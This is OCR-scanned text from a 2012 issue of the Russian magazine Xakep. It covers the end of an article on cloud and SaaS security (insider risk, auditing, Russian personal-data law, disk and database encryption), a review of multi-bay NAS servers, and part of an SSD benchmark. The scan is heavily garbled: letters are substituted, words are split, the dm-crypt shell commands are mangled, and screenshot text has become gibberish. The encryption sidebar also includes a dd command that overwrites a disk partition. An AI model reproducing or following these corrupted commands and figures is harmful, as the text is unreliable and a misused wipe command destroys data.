подготовленный персонал la как иначе удержаться! и заботится о с воей репутации, то она должна вызывать больше доверия, чем

вчерашний студент, нанятый на испытательный срок. Доба вим , что

половина утечек из компаний проис ходит по вине инсайдеров.

За сетевую безопасность внутре ннего сервиса п олностью отве­

чает админ, который размещает его в DMZ и контролирует весь тра­фик, ограничивая доступ только из дов еренн ых сетей при помощи

файераала и с использованием других методов IVPN, /etc/host.allowl. В случае DDоS-атаки на провайдера или одного из клиентов могут

пострадать сразу несколько организаций. Н е меньшие проблемы

возникнут и при взломе сервиса. Теп ерь же обеспечение безопас­

ности частич но возлагается на разработчиков сервиса, а штатному

админу доступн о меньше методов контроля, которые в случае SaaS работают на уровне приложений и вряд ли отличаются большой

гибкостью. И хорошо, если они вообще есть. Кроме того, управлять

правилами местного файераала при этом на порядок тяжелее. Для

подготовленного админа, в распоряжении которого небольшая

сеть, это не проблема. В случае разветвл ен ной сети м ожно обратить

внимание на продукт Secuгity Cod e TгustAccess i secuгitycode.гu/ pгoducts/tгustaccess l который позволяет орга низовать централизо­ванное управление распределенным межсетевым экраном.

Н е менее важный вопрос- возможность миграции на другую

платформу или сервис. Что делать при смене провайдера? Ведь

один п оставщи к не может устраивать абсолютно всех. Недовольство

может б ыть вызвано н е только внеплановым повыш е нием цен , на

которое не рассчитан бюджет, но и, например, отсутствием каких­

либо важных функций или невозможностью интеграции в текущую

инфраструктуру. В случае SaaS с миграцией, наверное, возникает больше затруднений, так как приложения часто имеют специфи­

ческую структуру данны х, а вот с качать и п ере не сти ОС с п омощью

чего-то вроде VMwaгe vC ioud Diгe c toг проблем нет.

АУДИТ В «ОБЛАКЕ» Еще оди н важный момент- контроль и аудит всех действий,

выполняемых администратором и пользователями . При наличии

большого числа сервисов л егко напутать с правами . В принципе,

ХАКЕР 01 /156/2012

Когда сгущаются тучи

администратор, << имеющий все>>, может навредить в любом случае

!«облако >> или локальная система!: всего пара команд - и данных

нет, аналогично могут уйтивнебытие и резервные копии. Таких

прим еров можно привести тысячи, в век виртуализации они уже

нико го не удивляют. Например, как сооб щает ComputeгWoгld,

администратор одной из компаний, обидевшись на работодателя,

одним махом удалил почти сотню серверов, работавших на VMwaгe

vSpheгe. В случае SaaS ситуация уже не так однозначна. Админи­стратор провайдера может одной командой уничтожить несколько

десятков виртуальных машин со всеми данным и, а админ организа­

ции -только свой сервис. В обоих случаях вину могут свалить и на

провайдера, если только о н не докажет, что данные SaaS компании уничтожены сами ми админом . Чтобы подобных проблем не возни­

кало, провайдеру и компании-клиенту лучше иметь по собственной

резервной копии. В этом случае уничтожить сервис будет не так-то

просто. Таким образом, разгра ничение доступа и аудит всех событий

очень важны, ведь кроме прям ого вредительства может иметь место

и кража данны х !экс п орт на любой внешний источник! . В идеале администратор управляет сервером, данные находятся в руках

менеджера, а за действиями администратора и менеджера следит

кто-то из секьюрити. Единственным на се годн я сертифицирован­

ным решением, которое обеспечивает безо пасность виртуальных

инфраструктур, построенных на продуктах VMwaгe, является vGate R2lsecuгitycode . гu/pгoducts/sп vmwaгe/vgate coml. В нем доступны автоматические настройки безопас ности, реализованы мандатная

модель управления доступом !кажды й можетуправлять только своими VMI. строгая аутентификация админ ов, за щита средств управления, разграничение доступа !на основе AC L и портов! . кон­троль целостности VM, расширенный аудит событий и м о ниторинг.

Возможности и функции админи стратора виртуальной инфраструк­

туры IABИI и администратора информационной безо па сности IАИБI четко разграничены. П роцедура ауте нтификации для них усилена,

АВИ к тому же дополнительно использует программу-агент.

РИЧАРД СТОЛЛМАН ПРОТИВ «ОБЛАКОВ»

Ричард Стол л м а н lgnu.oгg/philosophy/who-does-that-seгveг-гeally­

seгve.html l считает << облачную >> технологию шпионской и сравнивает

ее с большим бэкдором, так как о н а дает власть над nользователем.

В своем обращении он призывает избегать SааS-услуг и стараться

самостоятельно контролировать обработку данных .

Консоль управления v&ate

Главная

f\lo,a)'I(I-....Gitl"-фeAI:IW-~01..__-oADCrj'!\1, ~~~~-..,_ .. ,._, atip.~бa,._. -1)'---фe,l.l. n,p.,I.JIWVIV•Ttwtoel1oliRитe~WC~-TIЬC~r--, ._,.,...o;o:f1)0,1.)'1(fY,

Р.аэверn.еаниенаЕSХ-сереер;uс~JОЩИТЬI

2 Дdiмton.МIЦI-~II~Aor;ryN~-

насrрсй<а~ а 3 Н.Crpoom.un:r-ocм<,'I'JIDВfМ~&-.......:o;riiiiПQflol'*"'

u 0~)'1('1·

0(< 19:2909-0).2011)

1Z3

Page 126: haker

SYN\ACK

Еще один продукт- Novell Cloud Secuгity Seгvice INCSS, пovell . com/pгoducts/c l oud-secuгity-seгvicel- дает возможность легко управлять учетными данными предприятия , реплицируя все из­

менения в аккаунтах в «облака>> и тем самым создавая единую базу.

Работает NCSS о ч ень просто : служба размещается в локальной сети

или «облаке>> и интегрируется в службу аутентификации предприя­

тия [вроде A!:tive Diгectoгyl. Пользователь, который хочет получить

данные с SaaS/PaaS/IaaS, регистрируется обычным образом, а NCSS генерирует тике т, соответствующий требованиям поставщика услуг.

Несмотря на то, что при выборе поставщика SaaS пользователей больше всего волнует именно безопасность, многие специалисты

считают степень доступности и производительность не менее

важными факторами. Следует отметить, что они имеют большое

значение для обеих сторон, ведь испол ьзование SaaS автоматиче­ски означает увеличение нагрузки на внешний канал и появление

зависимостиотегостабильности.Поэтомусклиентскойстороны

необходимо предусмотреть все необходимые меры, хотя сегодня

каналы падают редко и в таких случаях ничто не мешает подклю­

читься к другому провайдеру. К тому же отсутствие интернета часто

означает, что нормальная работа в любом случае невозможна, а

потому совершенно неважно, есть ли при этом доступ к << облаку>>.

Однако при его наличии работающие вне офиса сотрудники смогут

получать данные без задержек.

ШИФРОВАНИЕДАННЫХ Большинство вменяемых ад министраторов считает, ч т о данные,

размещаемые в облаке, и канал связи лучше шифровать . С обменом

данными в SaaS проблем обычно не бывает. Провайдеры предо­ставляют доступ по защищенному протоколу HTTPS, а администра­тору клиента остается лишь следить за сертификатами . А вот как

контролировать данные в <<облаке>>, если они находятся в открытом

ИСПОЛЬЗОВАНИЕ DM-CRYPT

Система dm-cгypt опирается на подсистему шифрования устройств,

которая поддерживается ядром 2.6+ и использует CгyptoAPI. Она может шифровать файлы, блочные устройства, раздел подкачки и хра нения

памяти hуЬегпаtе. К шифрованному разделу также можно получить

доступ из - под Windows с помощью FгeeOTF E, если файловая система

зашифрованного раздела поддерживается в Windows.

$ sudo apt-get install cryptsetup

Далее следует подготовить ра здел или файл:

$ sudo dd if;/dev/zero of ;/dev/sda5 bs;4K

Форматируем и подключаем через /dev/mappeг/ :

$ sudo cryptsetup -у l uksFormat /dev/sda5 $ sudo cryptset up luksOpen / dev/sda5 encdisk

Теперь его можно использовать как обычный раздел на жестком

диске , о тформатировать и примонтировать.

$ sudo mkfs. msdos / dev/mappe r /encdisk $ sudo mount -t vfat - о rw /dev/mapper/encdisk /mnt/ encdisk

П осле заве ршения работы с разделом его можно освободить:

$ sudo umount / mnt/encdisk $ .sudo cryptset up luksClose /dev/mapper/encdisk

«ОБЛАКО» И ЗАКОН

Использование криптографии регламентировано рядом постанов­

лений и указов и требует наличия специального сертификата. Здесь

очень много всяких тонкостей, разобраться в которых не так-то

просто, но если провайдер услуг находится не на территории России

[как Amazon ЕС21, а обработка переанальных данных не произво­дится, то формально никаких проблем нет. Федеральный закон NQ152 <<О переанальных данных >> [ clck . гu /POdc l не nрепятствует обработке

переанальных данных в публичном <<облаке>> и разрешает делеги­

ровать их третьим ли цам. Таким образом, в этом плане все вроде

как чисто. Согласно другой точке зрения, размещение информации

в публичном <<облаке>> автоматически требует отдельного согласия

субъекта. Многое зависит от категории информационной с истемы ,

обрабатывающей да н ные, например, банк не сможет их выполнить

в любом случае, как бы он этого ни хотел. Главная заковырка ФЗ-152

зак лючается в том, что обмен информацией , связанной с переональ­

ны ми данными, должен производиться по каналам связи, защищен­

ным с помощью сертифицированных криптосредств. А это требует

отдельного согласования и наличия соответ ствующих средств у

обеих сторон. Особенно много вопросов возникает, если провайдер

находится з а границей . Многие ответы можно будет найти в подза­

конном акте <<О статусе облачных платформ>>. Ожидается, что в нем

будут жестко прописаны требования к хаетерам [только Россия!,

которых обяжут предоставлять доказательства своей защищен­

ности. К слову, <<за бугром» законы только начинают адаптировать

к новым условиям, п оэтому каких-либо существенных ограничений

по обработке переанальных данных нет. Зато стандарт PCI [Payment Са гd lnfгastгuctuгel, регулирующий вопросы безопасности при работе

с кредитными картами, отвечает однозначно: <<облаку >> - нет. Пока

такой сертификат у н ас не требуется, но тем, кто выходит на междуна­

родный рынок, лучше предусмотреть эту ситуацию, ведь с организа­

цией, не имеющей PCI, многие просто не захотят иметь дело .

виде, - вопрос очень волнующий. Кто знает, не затесался ли в

компанию-поставщик злой инсайдер? Разумеется , для передачи

ключа и взаимной аутентификации пользователя и серверов <<о б­

лака>> наиболее о птималь н а схема шифрования с открытым ключом.

Технологии могут быть использованы разные. Очень популярна

LUKS [The Linux Unified Кеу Setup, code.google . com/p/cгyptsetup l, которая для Linux реализована в dm-cгypt, nозволяющем созда­

вать зашифрова н ные раздел ы или логич еские диски . LUKS также поддерживает схему безопасной установки ключей TKS1 [Template Кеу Setup 11, которая позволяет менять пользовательский ключ, не nерешифровывая весь диск, работать с несколькими ключами и

разделять секретные данн ы е путем ввода двух ключей. В Windows технология реализована в пакете FгeeOTFE [ fгeeotfe.oгg l, который

со вместим с зашифрованными томами Liпux icгyptoloop, dm-cгypt l и

поддерживает двухфакторную аутентификацию с исnользованием

смарт-карты или HSM [ Нагdwа ге Secuгity Module, модуль безопасно­сти апnаратных средств! благодаря ста ндарту PKCS#11.

Кроме этого, в nоследних версиях Windows доступна функ-ция шифрования разделов Bitlockeг [а в старых версиях- EFS, Encгypted File Systeml. Однако шифровать весь раздел или создавать закрытые контейнеры необязател ьно. С учетом того,

что в большинстве случаев информация хранится в СУБД , можно

зашифровать только соответствующие таблицы. Таким образом,

инсайдер, получивший к ним доступ, ничего не сможет сделать без

ключа. Каких -либо доnол н и те л ь н ых усилий для это го не требуется,

ведь большинство совреме н ных СУБД имеет достаточно надежные

механизмы, поэтому остается лишь их задействовать . Наnример, в

MySQL Refeгence Manual имеется n. 11.13 под названием Eпcгyption

ХАКЕР 01/156/2012

Page 127: haker

мySQt.. 5.6 ~fet•nc• Mlr'll.l.al :: 11 F\.11'\Ctюns ilnd OplililtM : 11.13 encryptюn iOI"\d Compr••••on f unc: toons

11 .13. Encryption and Compression Functions T.JЫ811 . 1 7 . encryprionfun~rions

011/YIII UIIngAI:B

o.t!YIIIIйlflg

EI!CJVI)III~

Enшltlйirla

EI'IUYIJ(IJiriiiQ

Clll.utalllll05tn.o:ьum

RIКulnlrtv~Oflhl pre-~ . \itnpltmtnU~on01Pio.S$WORO

Clkul118 1ndlltUIIIIPIIswordS.-u.g

:i1йZ.Ц CaltW.Ie an вн.-.-2 thecbum

~ Un<OI\'II)IfiiiSirl/>oComprtiStб

11.14lrlfonn.1tionfui"ICttOnJ»

SвctiorrNIIvlgatlorl (T<>ttkJ

• 11 FunшonrandOper•tors

• 11. 1 Functюn.юdOpllfiltOc"

• 11 2 Туое convers10n irr e~oreJ510П ··-• IJ .ЗOI)er«<rS

• t1 .4CO<"IЬ'OIAowfiЖ"ICЬOm

• 115StmQFt.c\ctJor\s

· 11.61-Unent f~ill\d

-~ • 11 7DateilfldТ"mefunctJOnJ

• 11.8WhiltC.alendilrlsUsed8y

"""''"' · 11.9fui·TeкtS..udlfurtenons

• ltlOCeя;Ft.nttrOnsiOnc:IO(IeriltOI"J

. I! .IIXМL~

o l l J2kfurw:ti'OnJ

• 11 . 13EI"IO'VI)t.IOnilndComores510П

'"""""" · 11-14111fOtm.atюnfunctJOnS

• ll.t5Мiкelilf\o80USF~

маnу enci)'PtiOn i!lnCI compresston tunctlons return stmg:s tor\lif\\cnthe resun mtgf\1: cootaЬ'I ~IJy1eV31Ues

rr you want to store tnese re~. use а coturnn Wlth а Y!J!I.1НA&X or 1!Ш blnмy $111nQ data rype Thr, ll(dlзvold

• 11 . 16Ft.lndJO/\'JiiПdМodd"rersfor

Use wrth GROUP ВУ CliiUSes

• 11 . 17SI).МIA!Extensrons

potential problems -.wn tralllng space removal or thз.ractгr set CD!"М!,-,IOn th31 WOVId tharoge data vatues. ~n as • 11 18 Preosюn Math

m~ occtJГ 11' you use а no~ "МО d.ata type {gas, D.IW:I6В . .п:;п)

MySQL nредлагает 15 функций для шифрования содержимого таблиц

and Compгession Functions, в котором оnисано 15 функций. Часто достаточно лишь немного модернизировать SQL-вызовы в nриложе­

нии, чтобы все nроисходило автоматически.

> CREATE TABLE mdS_tЫ (mdS_val CHAR(32), ... ); > INSERT INTO mdS_tЫ (mdS_val, ... ) VALUES(MDS ('abcdef'), ... );

Многие <<облач ные» сервисы предлагают механизмы ши ф­

рования и API для удобного достуnа к ним. В Windows Azuгe SDK l micгosoft . com/windowsazuгe/sdk ), который nозволяет разработч и­кам исnользовать сервисы Windows Azuгe, имеется и набор функ­ций, обесnечивающих достуn к CSP ICгyptogгaphic Seгvice Pгovideг, nровайдер криnтографических сервисов).

Логично nредположить, что шифрование не решает всех про­

блем, поскольку к утечке информации могут nривести уязвимости

тиnа XSS и SQL injection или, наnример, слишком nростые nа ро-ли, а также традиционные атаки или исnользование социальной

инженерии и так дал ее . На сегодняшни й день большинство широко

ис n ользуемых техноло г ий, служащи х для уnравл е ния к л ючами

шифрования, имеет н едостатки. Особенно остро стоит воnрос об

уnравле нии ключевой информацие й, где хранить ключи , как ис­

nользовать !вводить вручную неудоб н о, да и н е совсем безопасно)

FreeOTFE с зашифрованными томами Linux

.ХАКЕР 01/156/2012

Pli!aseenwlh!rurD!rofPIIICDF21:tylte"•llcf&to~arriedaulcrr>yoru ~dtogener•tea'ltnei1'PfDIЩ

Тhenфe-lhei"'U'I'Oc!r,lhegrн18"1heS«Lntyoffi!red·Ьu!lheslowa­_,~ng .. Ьc{~if,_.,tn;rlhe...._on.POA)

Нolle:JfiНsvQII~Ifflfl'litldeflolt,youwiЬe~toen!l!rLI v"-'e~tmeyoui!IOI.nt'fO-'~forthis/"USIOI"IitiSr~INt -UierlluV'I!itltlt.dtflth~ • ..ne:s~irii!*Ьo.Jirnted\l:ldo о~.

Когда с гущаются тучи

RYPTSEТUP ( 8) CRYPTSETUP(8)

111rmlмl

1'1111ntenance Co~~r~ands

~··· cryptsetup • setup c ryptographic volu111es for dii · CГypt (inc\uding LUKS extension)

YNOPSIS cryptsetup <options:o- <action:> <action illrgs:-

ESCRIPТION

cryptsetup 1s used to convenientty setup d11 -crypt t~anвged device·JRllpper 11111ppings. For ba stc (ptain} da· crypt IIIIP·

p!ngs, there 11re four operations .

CТIONS

These st rings are vatid for <attion> , fo\\owed Ьу their cac tion 11rgs> :

creates а upping wi th <ПIIIIII! > backed Ьу device <device> .

<options:.o can Ье 1-- hash , ·· Cipher, -- ver1ty -p11ssphr11 se , -- key - flle, -- key -size, -- of $et , -- skip , -- relld-

only l

!JtiiW!.I. <nllme>

removes 11n existing мpping <nоте>.

llA1Ш <nome>

reports the st11tus for the 118PP1ПIOJ <nате> .

О ~ f:'l 8 "n!rmlnal

В Linux зашифрованный раздел создается с nомощью dm-crypt

и как защищать . При наличии большого числа виртуальных машин

система шифрования тоже может статьисточником nроблем, ведь

нужно понять, кому и куда разреш ен досту n , и соответственно рас­

nределить ключи. Технология должна быть гибкой и не привязанной

к конкретному nровайдеру услуг. Самым nопулярным решением,

обеспечивающим шифрование данных и управление ключами,

является Tгend Мiсго SecuгeCioud, который nредставляет собой

удобную надстройку над FгeeOTFE и другими утил и тами. Эта над­

стройка исnользует специальную технологию, которая позволя ет

проверять сервера, за п рашивающие ключи , контролировать досту n

к закрытым данным и удалять информацию без возможности вос­

становления. В случае смены nоставщи ка услуг все данные без про­

блем nереносятся . Утилита nоддерживает Amazon ЕС2, Eucalyptus и vCioud. Secu гeCioud распространяется как <<из коробки>>, так и в виде

сервиса. В качестве минуса можно отметить тот факт, что шифрова­

ние/дешифрование существенно тормозит виртуальную машину.

ЗАКЛЮЧЕНИЕ <<Облака>>- это очень удобно, круто, весело и современно. Если вду­

маться, то и nроблем с безоnасностью у них в боль шинстве случаев

меньше, чем на сервера х, находящихся в в едении у криворуко го

админа. П оэтому не думай, что мы против . Мы- за! Просто nр едо­

храняйся . ::Х::

Tгend Micro SecureCioud nозволяет уnравлять шифрованием в нескольких е<облачных)) сервисах

125

Page 128: haker

FERRUM

.,

позови As

ТЕСТИРОВАНИЕ 5- И 6-ДИСКОВЫХ NAS-CEPBEPOB

К СЕБЕ

126

В этой статье мы не будем рассматривать маленькие

жужжащие коробочки . Перед нами настоящие

домашниемонстры,оснащенныенеслабым«железом»

[по меркам NAS] и имеющие пять или шесть отсеков под жесткие диски. Представь, сколько всякой

всячины можно разместить в таком хранилище!

\7 истоки Системы хранения данных претерпели множество изменений . В переаналь­

ны х компьютерах до сих пор используется один или несколько накопителей.

Но такой подход не всегда надежен и эффективен, особенно если у нас

есть несколько П К , объединенных в сеть. Вообще, все «одомашненные >>

устройства п ояв ились в результате разработки высокотехнологичных

сетевых и се рв е рны х решений. Самый простой п ример- RAID. Раньше мас­сивы ис п ользовал ись исключительно на серверах, теперь даже в среднем

ценовом диапазоне сложно найти материнскую плату без поддержки RAID. Он ха рощ когда требуется высокая производительность системы и скорость

nри работе с большими объемами данных, наnример nри видеомонтаже . А

что делать, когда многим рабочим станциям требуется достуn к одн им и тем

же да нным? Ответ возникает сам собой - исnользовать NAS. Естественно, со 100 П К обычное сетевое х р а нилище н е с n равится, но для небол ьш а га

офиса и тем более для дома оно nодойдет идеально. Ведь NAS незаменим не только для работы , н о и для развлечений.

МЕТОДИКА ТЕСТИРОВАНИЯ Мы будем исnользовать уже nроверен ны й с nособ тестирования. Возьмем

бенч ма рк lntel NAS Регfогmапсе Toolkit- универсальны й тестовый nакет для

любого сетево го хранилища. Он сnособен нагрузить NAS различными зада­чами, от банального коnирова ния файлов и паnок до nотокового воспроизве­

дения и заnиси видео. Для того чтобы nроверить максимальную nроизводи­

тельность, мы установили режим RAIDO. А вот в режиме RAID5 мы смотрели, насколько быстро система с nравляется с вычислениями . П омимо скоростных

n оказателей устройства , также оценивалась nро шивка. Набор утилит и сер­

в исов, время отклика интерфейса и интуитивность- все это очень важно nри

выборе NAS. На в се сетевые хранилища были установлены nоследние версии nрошивок с сайтов производителей .

/J •

Сергей Плотников

ХАКЕР 01/156/2012

Page 129: haker

D-LINK SHARECENTER PR01200

овин ка от 0-Link оснащена n ятью слотами для жестк~-tх дисков, nарой разъемов Etheгnet и

nарой USB. Скудновато п о нынешним меркам .

Производитель не nоленился разместить маленький

ОLЕО-дисnлей на передней панели. Правда, настроить

с его nомощью ничего не уда стся, можно лишь информа­

цию о сети посмотреть да состояние массива nроверить.

Вообще, внешний вид устройства радует, а два венти­

лятора сзади работают довольн о т ихо . Правда, изредка

обороты повышаются, но это нормально, ведь охлаждать

ряд бл изкорасположенны х жестких дисков-неnростая

задача .

0-Link ShaгeCenteг Рго 1200 выдает среднюю ско­

рость . Э тот факт немного n ортит общую картину, но на

небольшой офис nроизводительности должно хватить.

Наконец-то мы видим у хранилища 0-Link достойный и приятный интерфейс . Да и функционал вырос , напри­

мер nоявилась поддержка iSCSI. Кстати , набор служб и

сервисов говорит о бизнес-на правленности устройства.

ХАКЕР 01 /156/2012

Позови NAS к себе

NETGEAR READYNAS 6ULTRA

се nродукты от NETGEAR отличаются простым и красивым дизайном. Такую вещь хочется выста­

вить всем наnоказ . Качество сборки и материа­

лов не вызывает никаких нареканий. NETGEAR ReadyNAS 6 Ultгa имеет шесть слотов для жестких дисков объемом до 2 Тба йт. Таким образом, можно nолучить хранилище

общим объемом в 12 Тбайт, что очень недурно. Но это не главное. Оч ень nорадовала скорость фор­

матирования и синхронизации в RAI05. За уnравл е ни е

«железом>> отвечает бессмертный FгontView. Хорошо,

что одна и та же nрошивка подходит для всех устройств .

П оэтому nри переходе на более nроизводительную модель

не должно возникнуть трудностей с настройкой системы .

Скоростные nоказатели не самые высокие, однако nри­

ближаются к nоказателям топовых решений. Функционал

NETGEAR ReadyNAS 6 Ultгa, который можно существенно увеличить за счет модулей расширения, позволяет ис­

пользовать хранилище как в офисе, так и дома.

127

Page 130: haker

FERRUM

NETGEAR READYNAS 6 ULTRA ETGEAR ReadyNAS 6 Ultгa Plus является прямым на следни­ком NETGEAR Rea dyNAS 6 U lt гa. Вн е шни й вид полность ю

идентичен виду младшей модели. Внутри у нового устрой­

ства не какой-нибудь там lпt el Atom, а целый lntel Pentium Е 2160, работающий на частоте 1,8 Г Гц. Этот процессор дает хороший прирост производительности. В отличие от младшей модели, здесь

вентилятор расnолагается на боковой панели корпуса . Кстати , это

никак не сказывается на общем уровне шума.

Теперь несколько негативных моментов . Последняя nрошивка

устройства FгontView 4.2.16 работает несколько некорректно .

Во-первых, в процессе тести рования система никак не хотела

сбрас ыв аться к заводским настройкам из Boot Menu. Во-вторых, форматирование в режиме RAID5 иногда зависало. Что и нтерес н о,

таких проблем не наблюдалось в NETGEAR ReadyNAS 6 Ult гa . Мож­

но предп оложить, что ПО пр осто не очень хорошо оптимизировано

под новое <<железо>>. Стои т отметить, что такая проблема характер­

на для многи х свежих девайсов, поэтому не будем судить строго и

дадим производителю время на доработку прошивки.

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ

Процессор Оперативная память

Порты

Уровни

Протоколы

128

D-Liпk ShareCeп­

ter Pro 1200

2х Ethernet 110/100/1000 Мбит/сl, 2х USB 2.0 JBOD, RAID О, RAID 1, RAID 5, RAID 6, RAID 10 CIFS/SMB, FTP, UPnP, НТТР, NFS, !SCSI

QNAP TS-559 PRO+ стречаем QNAP TS-559 Рго+, который стал лидером нашего обзора. Мы не раз положительно отзывались о продукции

QNAP на страницах нашего журнала. В этом нет ничего удивительного, так как сетевые хранилища QNAP отли чаются высоким качеством, оснащаются сбалансированным <<железом»

и замечательной прошивкой. QNAP TS-559 Рго+ имеет множе ство интерфейсов для подключения дополнительных дисков, принте­

ров, хабов и ИБП. Еще одним преимуществом хра н илища является

VGА-раэъем на задней панели. О чем это говорит? П равильно, о

том, ч т о мы можем пользоваться сторонней операционной систе­

мой . В ос н овном VGA нужен для устранения неисправностей. QNAP TS-559 Рго+ имеет довольно функциональное ПО. Тест показал от­личную производительность хранилища, во всех категориях были

получены высокие показатели. В режиме RAID5 скорость <<просе­дала » совсем немного, что говорит о хорошей работе инженеров и

nравильном использовании ресурсов.

NETGEAR ReadyNAS 6 Ultra

lntel Atom Dual Саге , 1,66 ГГц DDR2 DIMM 1х 1 Гбайт 2х Ethernet 110/100/1000 Мбит/с l , Зх USB 2.0

X-RAID2, RAID О, RAID 1, RAID 5, RAID 6

CIFS/SMB, FТР, UPnP, НТТР, AFP, NFS, DLNA, Bonjour

NETGEAR ReadyNAS6 Ultra Plus

lntel Pentium Е2160 , 1,8 ГГц DDR2 DIMM 1 х 1 Гбайт 2х Ethernet 110/100/1000 Мбит/сl, Зх USB 2.0

X-RAID2, RAID О, RAID 1, RAID 5, RAID 6

CIFS/SMB, FТР, UPnP, НТТР, AFP, NFS, DLNA, Bonjour

ХАКЕР 01 /156/2012

Page 131: haker

SYNOLOGY DISKSTATION 051511+ ynology Oisk5tation 051511+ является nрямым конкурен­том QNAP Т5-559 Рго+. Производительность nродукта от 5ynology nри выполнении некоторых задач выше, однако

он имеет определенные конструктивные недостатки . Во-первых,

на его передней панели нет дисплея . Он редко используется, но

иногда все же бывает очень полезен. Во-вторы х, салазки сде­

ланы из пластика, поэтому при демо нтаже жесткого диска есть

опасность сломать крепежную пластину. На это стоит обратить

внимание, так как устройство ориентировано на работу в бизнес­

сегменте, где периодически требуется замена дисков.

Теперь о хорошем. При почти такой же производительности, как jl!-

y QNAP Т5-559 Рго+, цена 5ynology Ois k5tatioп 051511+ несколько ниже, а его прошивка, выполненная в стиле одной известной кали­

форнийской компании, работает без нареканий. Отклик быстрый, а

все компоненты находятся на с воем месте. Еще одно достоинство

устройства в том, что дисковый массив можно расширить с помо-

щью дополнительных модулей . Суммарный объем после увеличе-

ния может до стигать 45 Тбайт.

Synology Disk­Station DS1511+

Позови NAS к себе

THECUS N5200XXX: авершает наш обзор Thecus N5200XXX. Главным достоин­ством этой модели является приемлемая цена при высокой

производительности. Прошивка похожа на прошивки дру­

г их подобных устройств, за исключением разве что NETGEAR: сле­ва находятся пункты меню, а справа, собственно, сама настройка.

В плане «железа>> тоже все хорошо: двухъядерный l пtel Atom 0525 в совокупности с 1 Гбайт памяти ООRЗ дает хорошую производи­тельность . Немного хлипкой нам показалась дверца, закрывающая

отсеки с жесткими дисками . По конструкции больше нареканий

нет. Охлаждение х ранилища работает тихо даже при такой нагруз­

ке , как форматирование массива НОО . Помимо информативно го

ОLЕО-дисплея, присутствует светодиодная индикация активности/ неисправности жестких дисков и состо яния LAN- и U5В-портов.

В целом работа с Thecus N5200XXX оставила хорошее впечатле ­

ние, поэтому модель наверняка найдет своего покупателя. П роиз­

водитель заявляет, что это <<долгосрочное решение, разработанное

с учетом дальнейшего роста потребностеЙ>>, и, скорее всего, не

ошибается.

THECUS N5200XXX

РАЗДАЕМ МЕДАЛЬКИ

lntel Atom 0525, 1,8 ГГц OOR2 1х 1 Гбайт

Oual Саге, 1,8 ГГц OOR2, 1х 1 Гбайт

lntel Atom 0525, 1,8 Г Гц ООRЗ SOOIMM 1х 1 Гбайт

Первое, что заставляет задуматься,- это высокая

цена устройств без жестких ди сков. Поэтому нужно

точно решить, нужен ли тебе NA5, тем более 5- или 6-дисковый. Но если ты решил, что нужен, тогда

самым лучшим выбором станут модели от QNAP, 5ynology и Thecus. Первый получает от нашего жур­нала почетную награду << Выбор редакции». Звание

<<Лучшая покупка » мы приеваили хранилищу

компании NETGEAR. Цена этого NA5 не так велика [по сравнению с другими устройствами!, а его про­

изводительность находится на должном уровне. :х:

2х Ethernet 110/100/1000 Мбит/сl, 5х USB 2.0, 2х eSATA, VGA JBOO, RAID О, RAID 1, RAIO 5, RAID 5+, RAID 6, RAID 6+, RAIO 10, RAIO 10+ CIFS/SMB, FТР, ТFТР, UPnP, НТТР, НТТРS, AFP, NFS, OLNA, Bonjouг, iSCSI, telnet, SSH, SNMP

ХАКЕР 01/156/2012

2х Ethernet 110/100/1000 Мбит/сl, 4х USB 2.0, 2х eSATA JBOO, RAIO О, RAIO 1, RAIO 5, RAIO 6, RAID 10 CIFS/SMB, FТР, TFPT, UPnP, OLNA. НТТР, AFP, NFS, Bonjour, ISCSI

2х Ethernet 110/100/1000 Мбит/сl, 5х USB 2.0, eSATA JBOO, RAIO О, RAIO 1, RAIO 5, RAIO 6, RAIO 10 CIFS/SMB, FТР, TFPT, UPnP, НТТР, AFP, NFS, Bonjour, ISCSI

129

Page 132: haker

FERRUM

Тип : 550, 2, 5 дюйма Интерфейс: 5АТА 3.0 Тип яч еек: MLC Макс . скорость чтения : 550 Мб/с Макс . скорость записи : 500 Мб/с Объем : 60 Гб nоддержка TRIM: есть

ПЛЮСЫ И МИНУСЫ:

+ высокая скорость

+высокая надежность

+низкая стоимость

-малый объем

Цены на 550, к сожален и ю, еще не упали нас т ольк о, чтобы каждый мог позволить себе «твердотел ьн ое хранилище»

на nолтерабайта. Однако самые любопытные уже сейчас

м огут попробовать скоростную альтернативу винчестерам - 550 небольшага объема как раз под систе мный ди ск . На эту роль отлич но п одойдет Si1icon Power 5P060GB55DV30525. Кому-то и 60 Гб мало, но для Windows 7 и набора всевозможных nрогра м м это го вполне хватит, только вот

игры влезут лишь избранные.

IOmeter: Raпdom read 4 Кб: 21,44 Мб/с Raпdom write 4 Кб : 19,77 Мб/с Seq. read 128 Кбайт: 313,41 Мб/с Seq. write 128 Кбайт: 332 Мб/с IOmeter patterns: Database: 36,43 Мб/с Fileserver: 41,08 Мб/с Workstation: 34,50 Мб/с Webserver: 51 ,35 М б/с

PCMark Vaпtage: Test Suite: 26076 баллов Windows Defeпder : 42,95 Мб/с Gamiпg: 176.73 Мб/с lmporting pictures to Windows Photo Gallery: 271,45 Мб/с Windows Vista startup: 30,18 Мб/с Video editiпg using Windows Movie Maker: 88,42 Мб/с Windows Media Ceпter: 340.73 Мб/с Add iпg music to Windows Media Player: 151,54 Мб/с Application loading: 167,14 Мб/с

130

0.5

~ 1.0 2.0 4.0 -.. 8.0

16.0 32.0 64.0

128.0 256.0 512.0

1024.0 2048.0 4096.0 8192.0

о 100 200

Александр Михеев

ТЕСТИРОВАНИЕТВЕРДОТЕЛЬНОГО НАКОПИТЕЛЯ SILICON POWER SP060GBSSDVЗOS25

Т est Results

МЕТОДИКАТЕСТИРОВАНИЯ Так как одной из гл авных характерист ик твердо­

тел ьных накопителей я вляется скорость, то ее мы

измеряли особе н но тщательно. Мы использо вали

с тарый добрый бе н чмарк I Ome teг, который гонял

SSD как в режи м е п оследовательн ого чтения / за п ис и , так и в режи м е случ айно го. Также м ы

за пускали с п е циальн ые паттерн ы IO meteг'a,

и м итирующие н а грузку на нако п ител ь в условиях

экс плуатации в составе файл о в о го се рве ра , ра ­

бо ч ей ста нци и и т. п . С л ед о м шел РСМагk Vantag e, а точнее е го п одтес т HDD, который тоже и мити ­

рует н а грузку в ра з ны х ус л о вия х, н о о ни не м ного

ближе к те м , с которыми встре чаютс я П К рядов ы х

п ользо в а тел ей. И на ко н ец , с п омощью АТТО Disk B enchma г k м ы про в е р я л и скорость п осл едов а ­

тельно го чте н ия/зап иси дл я бл око в данн ых от 0,5 до 8192 К б. Этот бе нч м ар к в се гда п оказ ы вает

потрясающие результаты , н о в реальн ой жизни

нако пители почти н и к о гда и х н е дос т и га ют.

